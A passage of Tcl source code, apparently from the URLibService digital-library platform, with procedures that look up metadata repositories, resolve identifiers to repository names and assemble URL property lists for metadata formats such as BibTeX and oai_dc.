wordList [string tolower $wordList] ;# added by GJFB in 2010-09-02 to turn similarity case insensitive - commented by GJFB in 2010-09-20 - command not needed after the change made in 2010-09-09 # set currentWordList [string tolower $currentWordList] ;# added by GJFB in 2010-09-02 to turn similarity case insensitive - commented by GJFB in 2010-09-20 - command not needed after the change made in 2010-09-09 set similarity [ComputeSimilarity $wordList $currentWordList] } else { # cannot be computed set similarity -1 } # puts $similarity set sortElement $similarity } else { set sortElement $metadataArray(${rep-i},citationkey) } lappend list [list $site $sortElement $stamp ${rep-i} $state] } # if $maximuNumberOfEntries # ;# with this line, if numberOfEntries is zero then GetMetadataRepositories returns zero, instead of empty, and the while in CreateOutput (see Make fusion of repeated entries) never ends if {$numberOfEntries && $maximuNumberOfEntries} { # keep the most recent or similar first # part of the fast mirror search code - new code by GJFB in 2010-11-02 if $relatedFlag {set index 1} else {set index 2} set list2 [lsort -index $index -decreasing $list] set list [lrange $list2 0 [expr $maximuNumberOfEntries - 1]] set firstItem [linsert [lindex $list 0] end $numberOfEntries] ;# append the number of entries to a list of five elements set list [lreplace $list 0 0 $firstItem] } } 2 { # format == 2 # site citationKey metadataLastUpdate rep-i foreach rep-i $searchResult { if ![info exist metadataArray(${rep-i},referencetype)] {continue} ;# drop inconsistent metadata if [info exist metadataArray(${rep-i},citationkey)] { set citationKey $metadataArray(${rep-i},citationkey) } else { # Migration 14/1/01 (the if could be dropped) set citationKey [CreateCitationKey metadataArray ${rep-i}] # Migration 14/1/01 - end } set stamp $metadataArray(${rep-i},$stampName) lappend list [list $site $citationKey $stamp ${rep-i}] } } 1 { # format == 1 # site rep-i foreach rep-i $searchResult { if ![info exist metadataArray(${rep-i},referencetype)] {continue} ;# drop inconsistent metadata lappend list [list $site ${rep-i}] } } 0 { # format == 0 # rep-i foreach rep-i $searchResult { if {[string equal {repArray} $arrayName] && ![info exist metadataArray(${rep-i},referencetype)]} {continue} ;# drop inconsistent metadata lappend list ${rep-i} } } } # set xxx done # Store xxx C:/tmp/aaa auto 0 a return $list } # GetMetadataRepositories - end # ---------------------------------------------------------------------- # ReturnState # used by GetMetadataRepositories, CreateBriefEntry, GetMostRecentMetadataRep and CheckMetadataConsistency only # returns 1 if $rep contains the original document # (i.e., the host collection of $rep is the current collection) # returns 0 otherwise proc ReturnState {rep-i} { # runs with post global metadataArray global loCoInRep if 0 { # metadataRep i regexp {(.*)-([^-]*)$} ${rep-i} m metadataRep i if {$i == 0} { # rep set rep [ReturnRepositoryName $metadataRep] # state set state [GetDocumentState $rep] } else { set state 0 ;# could be anything (not used when $i is != 0) } } else { # faster if [info exists metadataArray(${rep-i},hostcollection)] { set lastHostCollection [lindex $metadataArray(${rep-i},hostcollection) end] set state [string equal $lastHostCollection $loCoInRep] } else { set state 0 } return $state } } # ReturnState - end # ---------------------------------------------------------------------- # FindRepositoryNameFromIBI # used only in GetURLPropertyList and remotely in DisplayDocContent and Get # repName obtained from "ConvertToRepository ibin" is lower case # repository name in the file system may contain capital letters, nevertheless from 2008 all the repositories are created lower case since directory names in URL are case insensitive # FindRepositoryNameFromIBI returns the repository name as it is in the file system, possibly with some capital letters if 0 { # commented by GJFB in 2024-05-05 proc FindRepositoryNameFromIBI {ibi} { global homePath global loCoInRep if {[regexp -all {/} $ibi] == 3} { # rep set repName $ibi } else { # opaque ibi (ibip or ibin) Load $homePath/col/$loCoInRep/auxdoc/xxx data binary set data [UnShift $data] set administratorCodedPassword [lindex $data end] # set repName [Select2 repository [list identifier, $ibi] $administratorCodedPassword] ;# use Select2 because the metadata repository may be hidden set repName [lsort -unique [Select2 repository [list identifier, $ibi] $administratorCodedPassword]] ;# use Select2 because the metadata repository may be hidden - lsort -unique is needed because the same identifier might have more than one metadata repository (ex.: gjfb/83LX3pFwXQZeBBx/e2NgJ (URLibService)) } return $repName } } else { # added by GJFB in 2024-05-05 to solve the search of old repository name containing capital letters proc FindRepositoryNameFromIBI {ibi} { global homePath global loCoInRep Load $homePath/col/$loCoInRep/auxdoc/xxx data binary set data [UnShift $data] set administratorCodedPassword [lindex $data end] if {[regexp -all {/} $ibi] == 3} { # rep # the repository name in $ibi is always lower case but some old repositories may have some capital letters and the original name must be retrieved set case no ;# required because some repositories were created case sensitive # ex: sid.inpe.br/MTC-m13@80/2006/07.11.14.49 # ex: dpi.inpe.br/Gemini@80/2006/04.05.15.27 # ex: sid.inpe.br/ePrint@80/2007/06.29.13.52 set repName [lsort -unique [Select2 repository [list repository, $ibi] $administratorCodedPassword]] ;# use Select2 because the repository may be hidden - lsort -unique is needed because the same identifier might have more than one metadata repository (ex.: gjfb/83LX3pFwXQZeBBx/e2NgJ (URLibService)) if [string equal {} $repName] { # $ibi contains a metadata repository name (in this case, the original name with capital letters is preserved) set repName $ibi } } else { # opaque ibi (ibip or ibin) set repName [lsort -unique [Select2 repository [list identifier, $ibi] $administratorCodedPassword]] ;# use Select2 because the repository may be hidden - lsort -unique is needed because the same identifier might have more than one metadata repository (ex.: gjfb/83LX3pFwXQZeBBx/e2NgJ (URLibService)) } return $repName } } # FindRepositoryNameFromIBI - end # ---------------------------------------------------------------------- # GetURLPropertyList # used by FindURLPropertyList (in utilities1.tcl) and Script (in col/urlib.net/www/2014/03.16.03.40/cgi/script.tcl) only # was constructed from GetLanguageRepositories # criterionList is produced in ResolveIBI # criterionList is a list for an array (see ResolveIBI comments) # returns a list of url properties of the ibi satisfying the criterion list proc GetURLPropertyList {criterionList} { # runs with post global serverAddress global homePath global metadataArray global referenceTable global repositoryProperties global loCoInRep ;# set in LoadGlobalVariables global loCoInId ;# set in LoadGlobalVariables global deletedRepositoryList ;# set in LoadGlobalVariables and updated in CheckMetadataConsistency global deletedIdentifierList ;# set in LoadGlobalVariables and updated in CheckMetadataConsistency global deletedRepositoryList2 ;# set in LoadGlobalVariables global deletedIdentifierList2 ;# set in LoadGlobalVariables global standaloneModeFlag ;# set in LoadGlobalVariables # puts "criterionList = $criterionList" # puts [CallTrace] array set criterionArray $criterionList # part of the norm ConditionalSet clientIPAddress criterionArray(clientinformation.ipaddress) {} ConditionalSet filePath criterionArray(parsedibiurl.filepath) {} set ibi $criterionArray(parsedibiurl.ibi) ;# can be rep or ibip or ibin ConditionalSet verbList criterionArray(parsedibiurl.verblist) {} # ConditionalSet metadataFormat criterionArray(parsedibiurl.metadataformat) {} # ConditionalSet queryList criterionArray(parsedibiurl.querylist) {} # not part of the norm # ConditionalSet requiredBackgroundLanguage criterionArray(parsedibiurl.backgroundlanguage) {} # ConditionalSet cssFileURL criterionArray(parsedibiurl.cssfileurl) {} ConditionalSet metadataFieldNameList criterionArray(parsedibiurl.metadatafieldnamelist) {} # ConditionalSet metadataHeader criterionArray(parsedibiurl.metadataheader) {} # ConditionalSet requiredItemStatus criterionArray(parsedibiurl.requireditemstatus) {} # ConditionalSet requiredSite criterionArray(parsedibiurl.requiredsite) {} ;# commented by GJFB in 2014-09-12 - not needed after the introduction of the archiveprotocol attribute ConditionalSet clientContextLanguage criterionArray(clientinformation.contextlanguage) {} ;# added by GJFB in 2017-03-19 - used in Get only ## encodingSystem # set encodingSystem [encoding system] ;# needed further to convert the link (the target file name within the link) - not in use (GJFB in 2013-11-28) # site set site [ReturnHTTPHost $serverAddress] ;# drops port 80 # repName # puts --$ibi-- set repName [FindRepositoryNameFromIBI $ibi] ;# repName is the repository name as it is in the file system, possibly with some capital letters # puts "repName = $repName" if [string equal {} $repName] { # added by GJFB in 2012-09-26 - in corrupted collection "repositoryProperties({},history)" may exist and the command "Select readergroup [list repository, $repName]]" returns an error (can't read "repositoryList": no such variable, while executing "return $repositoryList" in procedure "Search") if {[regsub -all {/} $ibi {/} m] != 3} { # opaque ibi (ibip or ibin) array set deletedIdentifierArray $deletedIdentifierList array set deletedIdentifierArray $deletedIdentifierList2 if [info exists deletedIdentifierArray($ibi)] { # identifier was deleted # example: http://gjfb/J8LNKB5R7W/3DF6JU5 set stamp $deletedIdentifierArray($ibi) regsub {(\d{4,}):(\d{2})\.(\d{2})\.(\d{2})\.(\d{2})\.(\d{2})} $stamp {\1-\2-\3T\4:\5:\6Z} stamp ;# convert to ISO 8601 set state Deleted # puts $state ## > encodingsystem # set urlPropertyArray(encodingsystem) $encodingSystem # > contenttype ## set urlPropertyArray(contenttype) {} ;# not used # > ibi set urlPropertyArray(ibi) [list [FindIBIType $ibi] $ibi] # > ibi.archiveservice # if [string equal {} $loCoInId] # set urlPropertyArray(ibi.archiveservice) [list rep $loCoInRep] ;# this is the registered archive servicse ibi (in the rep form) # # else # # set urlPropertyArray(ibi.archiveservice) [list rep $loCoInRep [FindIBIType $loCoInId] $loCoInId] # # ## > ibi.nextedition # set urlPropertyArray(ibi.nextedition) [list [FindIBIType $ibi] $ibi] # > ibi.platformsoftware set urlPropertyArray(ibi.platformsoftware) {rep dpi.inpe.br/banon/1998/08.02.08.56} ;# URLibService ## > language # set urlPropertyArray(language) {} ## > redirecttometadata # set urlPropertyArray(redirecttometadata) no # > site set urlPropertyArray(archiveaddress) $site ;# site running this procedure # > state set urlPropertyArray(state) $state # > timestamp set urlPropertyArray(timestamp) $stamp ## > url # set urlPropertyArray(url) {} ;# not used ## > urlkey # set urlPropertyArray(urlkey) {} ;# not used set urlPropertyList2 [array get urlPropertyArray] # puts [list [encoding convertto utf-8 $urlPropertyList2]] ;# list is needed otherwise empty elements are lost in the communication through multiple submit return [list [encoding convertto utf-8 $urlPropertyList2]] ;# list is needed otherwise empty elements are lost in the communication through multiple submit } } return {} } # code to define metadataRep was here - now is below to allow a nonempty return when an original has been deleted - done by GJFB in 2015-02-16 # puts "repName = $repName" if 0 { # commmented by GJFB in 2023-03-07 set repName2 [string tolower $repName] ;# rep is case-insensitive - after 2008 the repositories are created lower case if [info exists repositoryProperties($repName2,history)] { # lower case repName2 exists in this local collection set repName $repName2 } elseif {[info exists repositoryProperties($repName,history)]} { # sid.inpe.br/ePrint@1905 repName prefix exists in this local collection } else { set repName3 [regsub {mtc} $repName2 {MTC}] ;# mtc-m13 -> MTC-m13 - before 2008 some repositories were created case sensitive if {[info exists repositoryProperties($repName3,history)]} { # sid.inpe.br/MTC-m13 repName prefix exists in this local collection set repName $repName3 } else { set repName4 [regsub {g} $repName2 {G}] ;# gemini -> Gemini - before 2008 some repositories were created case sensitive if {[info exists repositoryProperties($repName4,history)]} { # dpi.inpe.br/Gemini repName prefix exists in this local collection set repName $repName4 } else { # repName doesn't exist in this local collection array set deletedRepositoryArray $deletedRepositoryList array set deletedRepositoryArray $deletedRepositoryList2 if [info exists deletedRepositoryArray($repName)] { # repName was deleted # example: http://banon-pc3/urlib.net/www/2013/01.29.21.05 set stamp $deletedRepositoryArray($repName) regsub {(\d{4,}):(\d{2})\.(\d{2})\.(\d{2})\.(\d{2})\.(\d{2})} $stamp {\1-\2-\3T\4:\5:\6Z} stamp ;# convert to ISO 8601 set state Deleted ## > encodingsystem # set urlPropertyArray(encodingsystem) $encodingSystem ## > contenttype # set urlPropertyArray(contenttype) {} ;# not used # > ibi set urlPropertyArray(ibi) [list [FindIBIType $ibi] $ibi] # > ibi.archiveservice # if [string equal {} $loCoInId] # set urlPropertyArray(ibi.archiveservice) [list rep $loCoInRep] ;# this is the registered archive servicse ibi (in the rep form) # # else # # set urlPropertyArray(ibi.archiveservice) [list rep $loCoInRep [FindIBIType $loCoInId] $loCoInId] # # ## > ibi.nextedition # set urlPropertyArray(ibi.nextedition) [list [FindIBIType $ibi] $ibi] # > ibi.platformsoftware set urlPropertyArray(ibi.platformsoftware) {rep dpi.inpe.br/banon/1998/08.02.08.56} ;# URLibService ## > language # set urlPropertyArray(language) {} ## > redirecttometadata # set urlPropertyArray(redirecttometadata) no # > site set urlPropertyArray(archiveaddress) $site ;# site running this procedure # > state set urlPropertyArray(state) $state # > timestamp set urlPropertyArray(timestamp) $stamp ## > url # set urlPropertyArray(url) {} ;# not used ## > urlkey # set urlPropertyArray(urlkey) {} ;# not used set urlPropertyList2 [array get urlPropertyArray] return [list [encoding convertto utf-8 $urlPropertyList2]] ;# list is needed otherwise empty elements are lost in the communication through multiple submit } else { return {} } } } } } else { # added by GJFB in 2023-03-07 - repName is the repository name as it is in the file system, possibly with some capital letters, therefore the code above can be simplified if [info exists repositoryProperties($repName,history)] { # sid.inpe.br/ePrint@1905 repName prefix exists in this local collection } else { # repName doesn't exist in this local collection array set deletedRepositoryArray $deletedRepositoryList array set deletedRepositoryArray $deletedRepositoryList2 if [info exists deletedRepositoryArray($repName)] { # repName was deleted # example: http://gjfb:1905/urlib.net/www/2013/01.29.21.05 set stamp $deletedRepositoryArray($repName) regsub {(\d{4,}):(\d{2})\.(\d{2})\.(\d{2})\.(\d{2})\.(\d{2})} $stamp {\1-\2-\3T\4:\5:\6Z} stamp ;# convert to ISO 8601 set state Deleted ## > encodingsystem # set urlPropertyArray(encodingsystem) $encodingSystem ## > contenttype # set urlPropertyArray(contenttype) {} ;# not used # > ibi set urlPropertyArray(ibi) [list [FindIBIType $ibi] $ibi] # > ibi.archiveservice set urlPropertyArray(ibi.archiveservice) [list rep $loCoInRep] ;# this is the registered archive servicse ibi (in the rep form) ## > ibi.nextedition # set urlPropertyArray(ibi.nextedition) [list [FindIBIType $ibi] $ibi] # > ibi.platformsoftware set urlPropertyArray(ibi.platformsoftware) {rep dpi.inpe.br/banon/1998/08.02.08.56} ;# URLibService ## > language # set urlPropertyArray(language) {} ## > redirecttometadata # set urlPropertyArray(redirecttometadata) no # > site set urlPropertyArray(archiveaddress) $site ;# site running this procedure # > state set urlPropertyArray(state) $state # > timestamp set urlPropertyArray(timestamp) $stamp ## > url # set urlPropertyArray(url) {} ;# not used ## > urlkey # set urlPropertyArray(urlkey) {} ;# not used set urlPropertyList2 [array get urlPropertyArray] return [list [encoding convertto utf-8 $urlPropertyList2]] ;# list is needed otherwise empty elements are lost in the communication through multiple submit } else { return {} } } } # REPNAME EXISTS (e.g., ibi exists) # metadataRep # puts "repName = $repName" # puts --$verbList-- set metadataFlag [TestContentType $repName Metadata] # puts $metadataFlag if $metadataFlag { set metadataRep $repName } else { if [file isdirectory $homePath/col/$repName] { # set metadataRep [FindMetadataRep $repName] ;# not a metadata translation - commented by GJFB in 2017-03-19 set metadataRep [FindMetadataRep $repName $clientContextLanguage] ;# added by GJFB in 2017-03-19 - needed in Get only } else { # assumption: if repName doesn't exist then metadataRep doesn't exist as well return {} } } # title targetfile referencetype fullname contenttype SetFieldValue2 $metadataRep-0 {repository metadatarepository language contenttype visibility secondarydate readpermission referencetype year month versiontype group size} # if {[lsearch $verbList GetMetadataFieldValue] != -1} # if ![string equal {} $metadataFieldNameList] { # puts "metadataFieldNameList = $metadataFieldNameList" # puts "metadataRep = $metadataRep" SetFieldValue2 $metadataRep-0 $metadataFieldNameList ;# ex: metadataFieldNameList == {identifier nexthigherunit shorttitle} (this example is defined in Get) set metadataFieldList {} foreach metadataFieldName $metadataFieldNameList { # lappend metadataFieldList $metadataFieldName lappend metadataFieldList $metadataFieldName [set $metadataFieldName] } # puts "metadataFieldList = $metadataFieldList" # > metadatafieldlist set urlPropertyArray(metadatafieldlist) $metadataFieldList } # puts "repName = $repName" # puts "metadataRep = $metadataRep" ## > encodingsystem # set urlPropertyArray(encodingsystem) $encodingSystem # > contenttype if $metadataFlag { set urlPropertyArray(contenttype) {Metadata} } else { set urlPropertyArray(contenttype) {Data} } # ibi2 set ibi2 [list rep $repName] set identifier [FindIdentifierNameFromIBI $ibi $metadataFlag] if {[regsub -all {/} $identifier {/} m] != 3} { # opaque ibi (ibip or ibin) lappend ibi2 [FindIBIType $identifier] $identifier } # > ibi set urlPropertyArray(ibi) $ibi2 ;# used in FindURLPropertyList and ReturnURLPropertyList (when there is no available language) # > ibi.archiveservice # if [string equal {} $loCoInId] # set urlPropertyArray(ibi.archiveservice) [list rep $loCoInRep] ;# this is the registered archive servicse ibi (in the rep form) # # else # # set urlPropertyArray(ibi.archiveservice) [list rep $loCoInRep [FindIBIType $loCoInId] $loCoInId] # # # state if 0 { # commented by GJFB in 2015-02-16 to avoid the Unchecked state foreach {state} [ComputeVersionState $repName] {break} ;# with this call ComputeVersionState is faster but doesn't find Copy of the Registered Original if 0 { # old usage array set stateTable { {Registered Original} {Authenticated Original} {Modified Original} {Modified Original} {Copy of the Registered Original} {Authenticated Copy} {Copy of an Original} {Authenticated Copy} {Modified Copy of an Original} {Modified Copy} {Unchecked} {Unchecked} } } array set stateTable { ;# table in used in 2018-01-27 {Registered Original} {Original} {Modified Original} {Original} {Copy of the Registered Original} {Copy} {Copy of an Original} {Copy} {Modified Copy of an Original} {Copy} {Unchecked} {Unchecked} } set state $stateTable($state) } set lastHostCollection [lindex [LoadHostCollection $repName] end] if {$lastHostCollection == "$loCoInRep"} {set state Original} else {set state Copy} # stamp set stamp [lindex [GetVersionStamp $repName] 0] # set stamp 2015:02.16.22.36.35 ;# clock format 1424126195 -format %Y:%m.%d.%H.%M.%S -gmt 1 # regsub {(\d{4,}):(\d{2})\.(\d{2})\.(\d{2})\.(\d{2})\.(\d{2})} $stamp {\1\2\3T\4\5\6Z} stamp # set stamp [clock scan $stamp] ;# 1424126195 regsub {(\d{4,}):(\d{2})\.(\d{2})\.(\d{2})\.(\d{2})\.(\d{2})} $stamp {\1-\2-\3T\4:\5:\6Z} stamp ;# convert to ISO 8601 # if ![string equal {GetFileList} $verbList] # if 1 { # > # > ibi.metadata # set metadataRepList [FindMetadataRepList $repName] # puts --$metadataRepList-- # if [string equal {} $metadataRepList] # if $metadataFlag { # already metadata set urlPropertyArray(ibi.metadata) [list [FindIBIType $ibi] $ibi] ;# no metadata - metadata should be the proper ibi set urlPropertyArray(ibi.metadata(BibINPE)) [list [FindIBIType $ibi] $ibi] ;# no metadata - metadata should be the proper ibi set urlPropertyArray(ibi.metadata(BibTeX)) [list [FindIBIType $ibi] $ibi] ;# no metadata - metadata should be the proper ibi set urlPropertyArray(ibi.metadata(Refer)) [list [FindIBIType $ibi] $ibi] ;# no metadata - metadata should be the proper ibi set urlPropertyArray(ibi.metadata(oai_dc)) [list [FindIBIType $ibi] $ibi] ;# no metadata - metadata should be the proper ibi set urlPropertyArray(contenttype.metadata) {Metadata} set urlPropertyArray(contenttype.metadata(BibINPE)) {Metadata} set urlPropertyArray(contenttype.metadata(BibTeX)) {Metadata} set urlPropertyArray(contenttype.metadata(Refer)) {Metadata} set urlPropertyArray(contenttype.metadata(oai_dc)) {Metadata} set urlPropertyArray(state.metadata) $state set urlPropertyArray(state.metadata(BibINPE)) $state set urlPropertyArray(state.metadata(BibTeX)) $state set urlPropertyArray(state.metadata(Refer)) $state set urlPropertyArray(state.metadata(oai_dc)) $state set urlPropertyArray(timestamp.metadata) $stamp set urlPropertyArray(timestamp.metadata(BibINPE)) $stamp set urlPropertyArray(timestamp.metadata(BibTeX)) $stamp set urlPropertyArray(timestamp.metadata(Refer)) $stamp set urlPropertyArray(timestamp.metadata(oai_dc)) $stamp if ![info exists metadataArray($metadataRep-0,nextedition)] { # no next edition # > ibi.lastedition.metadata set urlPropertyArray(ibi.lastedition.metadata) [list [FindIBIType $ibi] $ibi] ;# no next edition and no metadata - lastedition.metadata should be the proper ibi set urlPropertyArray(ibi.lastedition.metadata(BibINPE)) [list [FindIBIType $ibi] $ibi] ;# no next edition and no metadata - lastedition.metadata should be the proper ibi set urlPropertyArray(ibi.lastedition.metadata(BibTeX)) [list [FindIBIType $ibi] $ibi] ;# no next edition and no metadata - lastedition.metadata should be the proper ibi set urlPropertyArray(ibi.lastedition.metadata(Refer)) [list [FindIBIType $ibi] $ibi] ;# no next edition and no metadata - lastedition.metadata should be the proper ibi set urlPropertyArray(ibi.lastedition.metadata(oai_dc)) [list [FindIBIType $ibi] $ibi] ;# no next edition and no metadata - lastedition.metadata should be the proper ibi set urlPropertyArray(contenttype.lastedition.metadata) {Metadata} set urlPropertyArray(contenttype.lastedition.metadata(BibINPE)) {Metadata} set urlPropertyArray(contenttype.lastedition.metadata(BibTeX)) {Metadata} set urlPropertyArray(contenttype.lastedition.metadata(Refer)) {Metadata} set urlPropertyArray(contenttype.lastedition.metadata(oai_dc)) {Metadata} set urlPropertyArray(state.lastedition.metadata) $state set urlPropertyArray(state.lastedition.metadata(BibINPE)) $state set urlPropertyArray(state.lastedition.metadata(BibTeX)) $state set urlPropertyArray(state.lastedition.metadata(Refer)) $state set urlPropertyArray(state.lastedition.metadata(oai_dc)) $state set urlPropertyArray(timestamp.lastedition.metadata) $stamp set urlPropertyArray(timestamp.lastedition.metadata(BibINPE)) $stamp set urlPropertyArray(timestamp.lastedition.metadata(BibTeX)) $stamp set urlPropertyArray(timestamp.lastedition.metadata(Refer)) $stamp set urlPropertyArray(timestamp.lastedition.metadata(oai_dc)) $stamp } } else { # set urlPropertyArray(ibi.metadata) [list rep [lindex $metadataRepList 0]] ;# the first is the repository containing the metadata within the original language set urlPropertyArray(ibi.metadata) [list rep $metadataRep] ;# same as the line above set urlPropertyArray(ibi.metadata(BibINPE)) [list rep $metadataRep] set urlPropertyArray(ibi.metadata(BibTeX)) [list rep $metadataRep] set urlPropertyArray(ibi.metadata(Refer)) [list rep $metadataRep] set urlPropertyArray(ibi.metadata(oai_dc)) [list rep $metadataRep] set urlPropertyArray(contenttype.metadata) {Metadata} set urlPropertyArray(contenttype.metadata(BibINPE)) {Metadata} set urlPropertyArray(contenttype.metadata(BibTeX)) {Metadata} set urlPropertyArray(contenttype.metadata(Refer)) {Metadata} set urlPropertyArray(contenttype.metadata(oai_dc)) {Metadata} set urlPropertyArray(state.metadata) $state set urlPropertyArray(state.metadata(BibINPE)) $state set urlPropertyArray(state.metadata(BibTeX)) $state set urlPropertyArray(state.metadata(Refer)) $state set urlPropertyArray(state.metadata(oai_dc)) $state # metadataStamp set metadataStamp [lindex [GetVersionStamp $metadataRep] 0] regsub {(\d{4,}):(\d{2})\.(\d{2})\.(\d{2})\.(\d{2})\.(\d{2})} $metadataStamp {\1-\2-\3T\4:\5:\6Z} metadataStamp ;# convert to ISO 8601 set urlPropertyArray(timestamp.metadata) $metadataStamp set urlPropertyArray(timestamp.metadata(BibINPE)) $metadataStamp set urlPropertyArray(timestamp.metadata(BibTeX)) $metadataStamp set urlPropertyArray(timestamp.metadata(Refer)) $metadataStamp set urlPropertyArray(timestamp.metadata(oai_dc)) $metadataStamp if ![info exists metadataArray($metadataRep-0,nextedition)] { # no next edition # > ibi.lastedition.metadata set urlPropertyArray(ibi.lastedition.metadata) [list rep $metadataRep] ;# no next edition - lastedition.metadata should be the metadata ibi set urlPropertyArray(ibi.lastedition.metadata(BibINPE)) [list rep $metadataRep] ;# no next edition - lastedition.metadata should be the metadata ibi set urlPropertyArray(ibi.lastedition.metadata(BibTeX)) [list rep $metadataRep] ;# no next edition - lastedition.metadata should be the metadata ibi set urlPropertyArray(ibi.lastedition.metadata(Refer)) [list rep $metadataRep] ;# no next edition - lastedition.metadata should be the metadata ibi set urlPropertyArray(ibi.lastedition.metadata(oai_dc)) [list rep $metadataRep] ;# no next edition - lastedition.metadata should be the metadata ibi set urlPropertyArray(contenttype.lastedition.metadata) {Metadata} set urlPropertyArray(contenttype.lastedition.metadata(BibINPE)) {Metadata} set urlPropertyArray(contenttype.lastedition.metadata(BibTeX)) {Metadata} set urlPropertyArray(contenttype.lastedition.metadata(Refer)) {Metadata} set urlPropertyArray(contenttype.lastedition.metadata(oai_dc)) {Metadata} set urlPropertyArray(state.lastedition.metadata) $state set urlPropertyArray(state.lastedition.metadata(BibINPE)) $state set urlPropertyArray(state.lastedition.metadata(BibTeX)) $state set urlPropertyArray(state.lastedition.metadata(Refer)) $state set urlPropertyArray(state.lastedition.metadata(oai_dc)) $state set urlPropertyArray(timestamp.lastedition.metadata) $metadataStamp set urlPropertyArray(timestamp.lastedition.metadata(BibINPE)) $metadataStamp set urlPropertyArray(timestamp.lastedition.metadata(BibTeX)) $metadataStamp set urlPropertyArray(timestamp.lastedition.metadata(Refer)) $metadataStamp set urlPropertyArray(timestamp.lastedition.metadata(oai_dc)) $metadataStamp } } # > ibi.nextedition # > ibi.lastedition # ConditionalSet nextEdition metadataArray($metadataRep-0,nextedition) {} if [info exists metadataArray($metadataRep-0,nextedition)] { set urlPropertyArray(ibi.nextedition) [list rep $metadataArray($metadataRep-0,nextedition)] } else { # no next edition # set urlPropertyArray(ibi.nextedition) [list [FindIBIType $ibi] $ibi] ;# no next edition - next edition should be the proper ibi - commented by GJFB in 2015-03-16 but works # set urlPropertyArray(ibi.lastedition) [list [FindIBIType $ibi] $ibi] ;# no next edition - last edition is the proper ibi - commented by GJFB in 2015-03-16 but works # set urlPropertyArray(ibi.nextedition) $ibi2 ;# no next edition - next edition should be the proper ibi - added by GJFB in 2015-03-16 to be conform with the norm set urlPropertyArray(ibi.lastedition) $ibi2 ;# no next edition - last edition is the proper ibi - added by GJFB in 2015-03-16 to be conform with the norm } # < } # > ibi.platformsoftware set urlPropertyArray(ibi.platformsoftware) {rep dpi.inpe.br/banon/1998/08.02.08.56} ;# URLibService # translationRepList set translationRepList $repName set indexList [array names referenceTable *,$repName] foreach index $indexList { if {$referenceTable($index) == "+"} { regexp {(.*),(.*)} $index m rep1 rep2 if {[lsearch -exact $translationRepList $rep1] == -1} { if [info exists repositoryProperties($rep1,language)] { lappend translationRepList $rep1 } } } } set indexList [array names referenceTable $repName,*] foreach index $indexList { if {$referenceTable($index) == "+"} { regexp {(.*),(.*)} $index m rep1 rep2 if {[lsearch -exact $translationRepList $rep2] == -1} { if [info exists repositoryProperties($rep2,language)] { lappend translationRepList $rep2 } } } } # puts $translationRepList # repositoryLanguage # language of the repository (might be a metadata repository) if [info exists repositoryProperties($repName,language)] { set repositoryLanguage $repositoryProperties($repName,language) # puts $repositoryLanguage # => pt; fr; en. regsub -all {[;.]} $repositoryLanguage {} repositoryLanguage ;# English pt; fr; en. -> pt fr en - added by GJFB in 2015-02-06 regexp {\[(.*)\]} $repositoryLanguage m repositoryLanguage ;# English {[en]} -> en } else { set repositoryLanguage {} } # set urlPropertyArray(language) $repositoryLanguage ## SetFieldValue $serverAddress $metadataRep-0 {repository metadatarepository language contenttype visibility secondarydate readpermission referencetype year month versiontype group size} # SetFieldValue2 $metadataRep-0 {repository metadatarepository language contenttype visibility secondarydate readpermission referencetype year month versiontype group size} ## SetFieldValue2 $metadataRep-0 {repository metadatarepository language contenttype visibility secondarydate readpermission readergroup referencetype year month versiontype group size} ;# added by GJFB in 2014-09-28 if 1 { # Update read permission for Journal Article if {![string equal {} $size] && \ ![string equal {} $year] && \ [string equal {Journal Article} $referencetype] && \ [string equal {External Contribution} $contenttype]} { # >>> intranet if [catch {ReturnIntranetConfiguration $year $group} intranet] { # don't update - probably the intranet information was not reachable - this avoid VERSION STAMP instability if !$standaloneModeFlag { global errorInfo puts [StoreLog {notice} {GetURLPropertyList (1)} $errorInfo] } } else { # set intranet 150.163 # Update archiving policy # administratorCodedPassword Load $homePath/col/$loCoInRep/auxdoc/xxx data binary set data [UnShift $data] set administratorCodedPassword [lindex $data end] # >>> archivingPolicy # UpdateArchivingPolicy may CREATE A NEW VERSION STAMP if [catch {UpdateArchivingPolicy $repository $metadatarepository administrator $administratorCodedPassword} archivingPolicy] { # don't update - probably the archivingPolicy information was not reachable - this avoid VERSION STAMP instability global errorInfo set log "\[[clock format [clock seconds] -format %Y:%m.%d.%H.%M.%S]\] GetURLPropertyList (2): $errorInfo\n" puts $log Store log $homePath/@errorLog auto 0 a } else { # Update archiving policy - end # compute secondaryDate based on the archiving policy set secondaryDate [ComputeSecondaryDateFromArchivingPolicy $year $month $archivingPolicy $versiontype $intranet] # UpdateReadPermissionFromSecondaryDate may CREATE A NEW VERSION STAMP UpdateReadPermissionFromSecondaryDate $repository $metadatarepository $language $contenttype $visibility $secondaryDate $readpermission } # puts --$archivingPolicy-- } } else { set secondaryDate $secondarydate # UpdateReadPermissionFromSecondaryDate may CREATE A NEW VERSION STAMP UpdateReadPermissionFromSecondaryDate $repository $metadatarepository $language $contenttype $visibility $secondaryDate $readpermission } # Update read permission for Journal Article - end } # redirectToMetadata set redirectToMetadata [ComputeRedirectToMetadata $repName $clientIPAddress] ## > redirecttometadata # set urlPropertyArray(redirecttometadata) $redirectToMetadata # > site set urlPropertyArray(archiveaddress) $site ;# site running this procedure ## > serverAddress # set urlPropertyArray(archiveurlibaddress) $serverAddress ;# not part of the norm - used by FindSites2 only - for future use to avoid using GetServerAddressFromHTTPHost # > state set urlPropertyArray(state) $state # > timestamp # set urlPropertyArray(timestamp) $stamp ;# used in MountListOfOrderedListOfValues set urlPropertyArray(timestamp) $stamp ;# used only to specify the date of the remotion of an ibi # url # set referenceType [join [Select referencetype [list repository, $repName]]] set referenceType $referencetype ;# added by GJFB in 2014-09-28 set targetFile [GetTargetFile $metadataRep] # puts $metadataRep # set path [CreateAbsolutePath $ibi $metadataRep $metadataRep $targetFile {} $verbList $referenceType $size] set path [CreateAbsolutePath $ibi2 $metadataRep $metadataRep $targetFile {} $verbList $referenceType $size] # puts path=--$path-- if $metadataFlag { # metadataRep == repName # > url # regsub -all { } http://$site/$path {+} urlPropertyArray(url) set urlPropertyArray(url) http://$site/$path # if ![string equal {GetFileList} $verbList] # if 1 { set urlPropertyArray(url.metadata) http://$site/$path ;# involution - metadata of a metadata is the proper metadata set urlPropertyArray(url.metadata(BibINPE)) http://$site/$path?choice=fullBibINPE set urlPropertyArray(url.metadata(BibTeX)) http://$site/$path?choice=fullbibtex set urlPropertyArray(url.metadata(Refer)) http://$site/$path?choice=fullrefer set urlPropertyArray(url.metadata(oai_dc)) http://$site/$path?choice=oai_dc } } else { # > url.metadata # regsub -all { } http://$site/$path {+} urlPropertyArray(url.metadata) # if ![string equal 